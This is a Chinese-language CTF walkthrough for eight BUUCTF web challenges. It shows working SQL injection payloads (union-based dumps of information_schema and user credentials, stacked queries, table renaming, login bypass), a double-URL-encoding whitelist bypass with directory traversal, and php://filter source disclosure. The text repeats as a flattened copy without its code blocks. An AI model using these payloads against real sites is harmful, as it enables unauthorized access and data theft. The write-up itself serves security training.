buuctf Web 上
字数 1794 2025-08-11 17:40:29

Web安全CTF挑战解题教学文档

1. [HCTF 2018]WarmUp - 文件包含漏洞利用

漏洞分析

  • 存在文件包含漏洞,通过file参数包含任意文件
  • 代码中设置了白名单检查机制:source.phphint.php
  • 检查逻辑分为四层:
    1. 检查参数是否存在且为字符串
    2. 检查参数是否在白名单中
    3. 检查参数截取"?"前部分是否在白名单中
    4. 检查URL解码后截取"?"前部分是否在白名单中

绕过方法

  • 利用双重URL编码绕过检查:
    • "?"的第一次编码:%3f
    • 第二次编码:%253f
  • 构造payload:file=source.php%253f.ffffllllaaaagggg

解题步骤

  1. 访问hint.php获取提示:ffffllllaaaagggg(提示flag文件名)
  2. 构造payload包含上级目录文件:
    /index.php?file=source.php%253f../../../../ffffllllaaaagggg
    

2. [极客大挑战 2019]EasySQL - SQL注入

漏洞分析

  • 登录框存在SQL注入漏洞
  • 字符型注入(单引号闭合)
  • 过滤规则较少,可直接使用常规注入技术

两种解法

  1. 联合查询注入

    • 判断字段数:?username=1&password=2' order by 3%23
    • 获取回显点:?username=1&password=2' and 1=2 union select 1,2,3%23
    • 直接获取flag
  2. 万能密码绕过

    ?username=admin' or '1'='1&password=admin' or '1'='1
    

3. [强网杯 2019]随便注 - 堆叠注入

漏洞分析

  • 存在堆叠注入漏洞(可执行多条SQL语句)
  • 过滤了select,update,delete,drop,insert,where等关键词
  • 查询语句结构:select id,data from words where id =

解题步骤

  1. 判断注入类型:字符型(单引号闭合)
  2. 使用堆叠注入获取数据库信息:
    1';show databases;#
    1';show tables;#
    
  3. 发现两个表:words1919810931114514
  4. 通过重命名表绕过过滤:
    0';
    rename table words to words1;
    rename table 1919810931114514 to words;
    alter table words change flag id varchar(100);
    
  5. 查询flag:1' or 1=1#

4. [极客大挑战 2019]Havefun - 简单代码审计

漏洞分析

  • 直接通过GET参数cat控制输出
  • 代码逻辑:如果cat==dog则输出flag

解题方法

直接构造payload:

/?cat=dog

5. [SUCTF 2019]EasySQL - 堆叠注入与SQL模式修改

漏洞分析

  • 后端查询逻辑:select $_POST[query] || flag from flag
  • 过滤了from等关键词
  • ||被解释为逻辑或运算符

两种解法

  1. 修改SQL模式

    1;set sql_mode=PIPES_AS_CONCAT;select 1
    
    • ||解释为字符串连接符
  2. 直接构造查询

    *,1
    
    • 构造为select *,1 || flag from flag

6. [ACTF2020 新生赛]Include - PHP伪协议利用

漏洞分析

  • 文件包含漏洞(file参数)
  • 无有效过滤

解题步骤

  1. 使用PHP伪协议读取源码:
    ?file=php://filter/read=convert.base64-encode/resource=flag.php
    
  2. 解码获取flag

7. [极客大挑战 2019]Secret File - 文件包含与源码泄露

漏洞分析

  1. 发现隐藏页面Archive_room.php
  2. 发现action.php快速跳转(需抓包)
  3. 发现secr3t.php文件包含漏洞
    • 过滤了tp/input/data等关键词
    • 但未过滤php://filter

解题步骤

  1. 使用伪协议读取flag.php
    /secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
    
  2. 解码获取flag

8. [极客大挑战 2019]LoveSQL - 完整SQL注入流程

漏洞分析

  • 登录框存在SQL注入
  • 无有效过滤

解题步骤

  1. 判断字段数:username=admin' order by 3%23
  2. 确定回显点:username=1' union select 1,2,3%23
  3. 获取数据库信息:
    username=1' union select 1,database(),version()%23
    
  4. 爆表:
    username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23
    
  5. 爆字段:
    username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23
    
  6. 获取数据:
    username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23
    

通用技巧总结

  1. 文件包含漏洞

    • 使用php://filter读取源码
    • 尝试目录遍历(../../../../
    • 注意编码绕过(双重URL编码)
  2. SQL注入

    • 判断注入类型(数字/字符)
    • 联合查询获取信息
    • 堆叠注入绕过过滤
    • 表/列重命名技巧
  3. 源码审计

    • 查看页面源代码寻找隐藏信息
    • 分析代码逻辑寻找条件绕过
    • 注意注释中可能包含提示
  4. 工具使用

    • BurpSuite拦截快速跳转页面
    • Base64解码隐藏信息
    • 编码绕过过滤机制
Web安全CTF挑战解题教学文档 1. [ HCTF 2018 ]WarmUp - 文件包含漏洞利用 漏洞分析 存在文件包含漏洞,通过 file 参数包含任意文件 代码中设置了白名单检查机制: source.php 和 hint.php 检查逻辑分为四层: 检查参数是否存在且为字符串 检查参数是否在白名单中 检查参数截取"?"前部分是否在白名单中 检查URL解码后截取"?"前部分是否在白名单中 绕过方法 利用双重URL编码绕过检查: "?"的第一次编码: %3f 第二次编码: %253f 构造payload: file=source.php%253f.ffffllllaaaagggg 解题步骤 访问 hint.php 获取提示: ffffllllaaaagggg (提示flag文件名) 构造payload包含上级目录文件: 2. [ 极客大挑战 2019 ]EasySQL - SQL注入 漏洞分析 登录框存在SQL注入漏洞 字符型注入(单引号闭合) 过滤规则较少,可直接使用常规注入技术 两种解法 联合查询注入 : 判断字段数: ?username=1&password=2' order by 3%23 获取回显点: ?username=1&password=2' and 1=2 union select 1,2,3%23 直接获取flag 万能密码绕过 : 3. [ 强网杯 2019 ]随便注 - 堆叠注入 漏洞分析 存在堆叠注入漏洞(可执行多条SQL语句) 过滤了 select,update,delete,drop,insert,where 等关键词 查询语句结构: select id,data from words where id = 解题步骤 判断注入类型:字符型(单引号闭合) 使用堆叠注入获取数据库信息: 发现两个表: words 和 1919810931114514 通过重命名表绕过过滤: 查询flag: 1' or 1=1# 4. [ 极客大挑战 2019 ]Havefun - 简单代码审计 漏洞分析 直接通过GET参数 cat 控制输出 代码逻辑:如果 cat==dog 则输出flag 解题方法 直接构造payload: 5. [ SUCTF 2019 ]EasySQL - 堆叠注入与SQL模式修改 漏洞分析 后端查询逻辑: select $_POST[query] || flag from flag 过滤了 from 等关键词 || 被解释为逻辑或运算符 两种解法 修改SQL模式 : 将 || 解释为字符串连接符 直接构造查询 : 构造为 select *,1 || flag from flag 6. [ ACTF2020 新生赛 ]Include - PHP伪协议利用 漏洞分析 文件包含漏洞( file 参数) 无有效过滤 解题步骤 使用PHP伪协议读取源码: 解码获取flag 7. [ 极客大挑战 2019 ]Secret File - 文件包含与源码泄露 漏洞分析 发现隐藏页面 Archive_room.php 发现 action.php 快速跳转(需抓包) 发现 secr3t.php 文件包含漏洞 过滤了 tp/input/data 等关键词 但未过滤 php://filter 解题步骤 使用伪协议读取 flag.php : 解码获取flag 8. [ 极客大挑战 2019 ]LoveSQL - 完整SQL注入流程 漏洞分析 登录框存在SQL注入 无有效过滤 解题步骤 判断字段数: username=admin' order by 3%23 确定回显点: username=1' union select 1,2,3%23 获取数据库信息: 爆表: 爆字段: 获取数据: 通用技巧总结 文件包含漏洞 : 使用 php://filter 读取源码 尝试目录遍历( ../../../../ ) 注意编码绕过(双重URL编码) SQL注入 : 判断注入类型(数字/字符) 联合查询获取信息 堆叠注入绕过过滤 表/列重命名技巧 源码审计 : 查看页面源代码寻找隐藏信息 分析代码逻辑寻找条件绕过 注意注释中可能包含提示 工具使用 : BurpSuite拦截快速跳转页面 Base64解码隐藏信息 编码绕过过滤机制